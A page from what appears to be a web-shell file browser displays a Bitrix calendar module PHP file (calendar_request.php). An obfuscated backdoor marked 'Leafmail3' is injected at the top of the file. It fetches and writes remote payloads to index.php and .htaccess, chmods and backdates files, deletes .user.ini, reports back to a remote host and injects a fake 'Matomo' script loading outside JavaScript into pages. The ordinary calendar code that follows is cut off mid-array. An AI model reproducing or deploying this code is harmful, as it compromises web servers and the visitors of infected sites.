Your IP : 3.135.213.119


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/calendar/classes/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/calendar/classes/general/calendar_request.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
use \Bitrix\Calendar\Ui\CalendarFilter;
use Bitrix\Main\Localization\Loc;

class CCalendarRequest
{
	private static
		$request,
		$reqId,
		$calendar;

	public static function Process($action = '', CCalendar $calendar)
	{
		global $APPLICATION;

		self::$request = \Bitrix\Main\Context::getCurrent()->getRequest()->toArray();

		if ($_REQUEST['skip_unescape'] !== 'Y')
		{
			CUtil::decodeURIComponent(self::$request);
			CUtil::JSPostUnEscape();
		}

		self::$calendar = $calendar;

		// Export calendar
		if ($action == 'export')
		{
			// We don't need to check access  couse we will check security SIGN from the URL
			$sectId = intVal($_GET['sec_id']);
			if ($_GET['check'] == 'Y') // Just for access check from calendar interface
			{
				$APPLICATION->RestartBuffer();
				if (CCalendarSect::CheckSign($_GET['sign'], intVal($_GET['user']), $sectId > 0 ? $sectId : 'superposed_calendars'))
					echo 'BEGIN:VCALENDAR';
				CMain::FinalActions();
				die();
			}

			if (CCalendarSect::CheckAuthHash() && $sectId > 0)
			{
				// We don't need any warning in .ics file
				error_reporting(E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR|E_PARSE);
				CCalendarSect::ReturnICal(array(
					'sectId' => $sectId,
					'userId' => intVal($_GET['user']),
					'sign' => $_GET['sign'],
					'type' => $_GET['type'],
					'ownerId' => intVal($_GET['owner'])
				));
			}
		}
		else
		{
			// Check the access
			if (!CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()) || !check_bitrix_sessid())
			{
				$APPLICATION->ThrowException(Loc::getMessage("EC_ACCESS_DENIED"));
				return false;
			}

			$APPLICATION->ShowAjaxHead();
			$APPLICATION->RestartBuffer();
			self::$reqId = intVal($_REQUEST['reqId']);

			switch ($action)
			{
				case 'edit_event':
					self::editEntry();
					break;
				case 'simple_save_entry':
					self::simpleSaveEntry();
					break;
				case 'delete_entry':
					self::deleteEntry();
					break;
				case 'move_event_to_date':
					self::moveEventToDate();
					break;
				case 'delete':
					self::DeleteEvent();
					break;
				case 'load_entries':
					self::LoadEntries();
					break;
				case 'section_edit':
					self::EditSection();
					break;
				case 'section_delete':
					self::DeleteSection();
					break;
				case 'section_caldav_hide':
					self::HideCaldavSection();
					break;
				case 'save_settings':
					self::SaveSettings();
					break;
				case 'set_meeting_status':
					self::SetStatus();
					break;
				case 'get_group_members':
					self::GetGroupMemberList();
					break;
				case 'get_accessibility':
					self::GetAccessibility();
					break;
				case 'get_mr_accessibility':
					self::GetMeetingRoomAccessibility();
					break;
				case 'check_meeting_room':
					self::CheckMeetingRoom();
					break;
				case 'connections_edit':
					self::EditConnections();
					break;
				case 'disconnect_google':
					self::DisconnectGoogle();
					break;
				case 'clear_sync_info':
					self::ClearSynchronizationInfo();
					break;
				case 'exchange_sync':
					self::SyncExchange();
					break;
//				case 'get_view_event_dialog':
//					self::GetViewEventDialog();
//					break;
//				case 'get_edit_event_dialog':
//					self::GetEditEventDialog();
//					break;
				case 'get_planner':
					self::GetPlanner();
					break;
				case 'update_planner':
					self::UpdatePlanner();
					break;
				case 'change_recurcive_event_until':
					self::ChangeRecurciveEventUntil();
					break;
				case 'exclude_recursion_date':
					self::AddExcludeRecursionDate();
					break;
				case 'get_edit_slider':
					self::GetEditSlider();
					break;
				case 'get_view_slider':
					self::GetViewSlider();
					break;
				case 'update_location_list':
					self::updateLocationList();
					break;
				case 'get_tracking_sections':
					self::getTrackingSections();
					break;
				case 'set_tracking_sections':
					self::setTrackingSections();
					break;
				case 'get_settings_slider':
					self::getSettingsSlider();
					break;
				case 'get_destination_items':
					self::getDestinationItems();
					break;
				case 'get_filter_data':
					self::getFilterData();
					break;
			}
		}

		if($ex = $APPLICATION->GetException())
			ShowError($ex->GetString());

		CMain::FinalActions();
		die();
	}

	public static function OutputJSRes($reqId = false, $res = false)
	{
		if ($res === false)
			return;
		if ($reqId === false)
			$reqId = intVal($_REQUEST['reqId']);
		if (!$reqId)
			return;
		?>
		<script>top.BXCRES['<?= $reqId?>'] = <?= CUtil::PhpToJSObject($res)?>;</script>
		<?
	}

	public static function simpleSaveEntry()
	{
		$locationBusyWarning = false;
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
		{
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));
		}

		$sectId = intVal(self::$request['section']);
		if (CCalendar::GetType() != 'user' || CCalendar::GetOwnerId() != CCalendar::GetUserId()) // Personal user's calendar
		{
			if (!CCalendarSect::CanDo('calendar_add', $sectId, CCalendar::GetUserId()))
			{
				return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));
			}
		}

		// Default name for events
		$name = trim(self::$request['name']);
		if ($name == '')
		{
			$name = Loc::getMessage('EC_DEFAULT_EVENT_NAME');
		}

		$remind = array();
		if (is_array(self::$request['remind']))
		{
			foreach (self::$request['remind'] as $remindValue)
			{
				$remind[] = array('type' => 'min', 'count' => intval($remindValue));
			}
		}

		// Date & Time
		$dateFrom = self::$request['date_from'];
		$dateTo = self::$request['date_to'];

		// Timezone
		$tzFrom = self::$request['tz_from'];
		$tzTo = self::$request['tz_to'];
		if (!$tzFrom && isset(self::$request['default_tz']))
		{
			$tzFrom = self::$request['default_tz'];
		}
		if (!$tzTo && isset(self::$request['default_tz']))
		{
			$tzTo = self::$request['default_tz'];
		}

		if (isset(self::$request['default_tz']) && self::$request['default_tz'] != '')
		{
			CCalendar::SaveUserTimezoneName(CCalendar::GetUserId(), self::$request['default_tz']);
		}

		$location = isset(self::$request['location']) ? self::$request['location'] : '';

		$arFields = array(
			"DATE_FROM" => $dateFrom,
			"DATE_TO" => $dateTo,
			'TZ_FROM' => $tzFrom,
			"SKIP_TIME" => false,
